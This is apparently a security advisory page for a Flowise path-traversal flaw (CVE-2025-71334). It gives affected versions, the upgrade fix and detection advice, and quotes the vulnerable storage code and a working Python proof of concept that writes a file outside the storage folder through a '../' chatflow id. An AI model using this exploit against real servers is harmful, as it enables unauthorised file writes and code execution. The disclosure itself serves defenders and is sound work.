CVE-2025-71334: Flowise has arbitrary file access due to missing chat flow id validation
Flowise 2.2.8 up to 3.0.5 does not validate the chatflow ID that becomes part of a storage path. An unauthenticated attacker can write files anywhere the server can write by creating a chatflow, and can traverse storage when downloading files. Upgrade to flowise 3.0.6.
Published Sep 15, 2025 · Updated Nov 3, 2026 · Analysis Nov 1, 2026
What an attacker can do
Earlier commits added filename sanitizing and UUID checks to the /api/v1/attachments route. Other code paths still take chatflowId and chatId straight from the request.
Case 1 is a write. POST /api/v1/chatflows calls addBase64FilesToStorage when a node holds base64 file data. The code does path.join(getStoragePath(), chatflowid) with the id from the request body, then writes the decoded bytes into that directory. The filename is sanitized, but the directory is not. The advisory proof of concept sets id to ../../../../../tmp with a data URI key and the default configuration wrote a file named pwn in /tmp containing Hello, World!. The request carried the header x-request-from: internal.
Case 2 is a read. The download endpoints /api/v1/openai-assistants-file/download and /api/v1/get-upload-file call streamStorageFile with the unvalidated ids to build the file path, or the cloud key. S3 treats ../ in an object key as a relative path. These routes are in WHITELIST_URLS, so no login is needed.
The advisory lists arbitrary file read and write, remote code execution and data loss as the results. Writing a file into a location such as a startup script or a plugin directory is the usual route from write to code execution.
Who is affected
Affected: flowise from 2.2.8 up to but not including 3.0.6. Both local and cloud storage back ends use the vulnerable path building. Check the version:
npm ls flowiseFor Docker, check the image tag. The proof of concept ran against a default configuration, so a default install that is reachable on the network is in scope.
flowise
- Ecosystem
- npm
- Affected
- >= 2.2.8, < 3.0.6
- Fixed in
- 3.0.6
- Check
npm ls flowise
How to fix it
Upgrade to flowise 3.0.6.
npm install -g [email protected]For Docker, pull a 3.0.6 or later image and redeploy. The advisory gives no workaround. Meanwhile, keep the instance off untrusted networks and put an authenticating reverse proxy in front of it. If it was exposed, check for files written outside the Flowise storage folder and rotate keys held by the server.
How to tell if you were hit
Look in access logs for POST /api/v1/chatflows with an id value that contains ../, and for GET /api/v1/get-upload-file or POST /api/v1/openai-assistants-file/download where chatflowId or chatId has traversal sequences. Scan the host for recently created files outside the Flowise storage directory, such as under /tmp, startup directories or app folders, especially names created through a base64 data URI. In S3 setups, look for object keys that contain ../ in CloudTrail or access logs.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
Missing chat flow id validation allows an attacker to access arbitrary file.
Details
Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for filename when handling file upload operations to prevent path traversal, and additional validation of chatflowId and chatId from route /api/v1/attachments. In some cases, however, chatflowId and chatId are not validated to ensure they are UUIDs or numbers, which may lead to security issues.
Case 1
When creating new chatflow via /api/v1/chatflows, function addBase64FilesToStorage is called if there exists base64 file data. Although the filename is sanitized, the chatflowid comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data.
export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => {
// ...
} else {
const dir = path.join(getStoragePath(), chatflowid) // path traversal here
if (!fs.existsSync(dir)) {
fs.mkdirSync(dir, { recursive: true })
}
const splitDataURI = fileBase64.split(',')
const filename = splitDataURI.pop()?.split(':')[1] ?? ''
const bf = Buffer.from(splitDataURI.pop() || '', 'base64')
const sanitizedFilename = _sanitizeFilename(filename)
const filePath = path.join(dir, sanitizedFilename)
fs.writeFileSync(filePath, bf)
fileNames.push(sanitizedFilename)
return 'FILE-STORAGE::' + JSON.stringify(fileNames)
}
}Case 2
When downloading file via /api/v1/openai-assistants-file/download or /api/v1/get-upload-file, function streamStorageFile is called to retrieve file data from local or cloud bucket. The chatflowId and chatId are used for file path generation. Take Amazon S3 as an example, its [documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that ../ will be treated as relative path.
Note that these APIs are in WHITELIST_URLS, an attacker may traverse user storage files without authentication.
PoC
Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir /tmp with content 'Hello, World!'.
import requests
import json
url = "http://localhost:8080/api/v1/chatflows"
headers = {"x-request-from": "internal"}
nodedata = {
"category" : "Document Loaders",
"inputs" : {
"key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn"
}
}
flownode = {
"id" : "a",
"data" : nodedata
}
flowdata = {
"nodes" : [flownode],
"edges" : [],
"viewport" : {
"x" : 1,
"y" : 1,
"zoom" : 1
}
}
data = {
"id" : "../../../../../tmp",
"name" : "name",
"flowData" : json.dumps(flowdata)
}
res = requests.post(url, json=data, headers=headers)Impact
- Arbitrary file read / write
- Remote Code Execution
- Data loss
Credited to rpie9.
Questions
- Does this need authentication?
No. The advisory says the download APIs are in WHITELIST_URLS, and the proof of concept creates the chatflow with only the x-request-from: internal header. The CVSS vector has no privileges required.
- Which versions are affected?
Flowise 2.2.8 through 3.0.5. Version 3.0.6 is the patched release.
- How does a file write become code execution?
The attacker picks the directory through chatflowid and controls the file content. Writing to a location that the system loads or runs gives code execution. The advisory lists RCE as an impact but shows only the file write.
References
Read for this analysis:
- https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f
- https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7
- https://nvd.nist.gov/vuln/detail/CVE-2025-71334
- https://www.vulncheck.com/advisories/flowise-arbitrary-file-access-via-missing-chat-flow-id-validation
- https://github.com/advisories/GHSA-q67q-549q-p849
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More Flowise vulnerabilities
All Flowise entriesCVE-2026-73483
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
critical9.4Oct 7, 2026CVE-2026-73487
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
critical9.0Oct 7, 2026CVE-2026-69250
Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
high8.5Aug 4, 2026CVE-2026-69251
Flowise RCE via TypeORM DataSource
critical9.0Aug 4, 2026CVE-2026-69252
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
high7.2Aug 4, 2026CVE-2026-69253
Flowise Sandbox Escape to RCE
critical9.0Aug 4, 2026
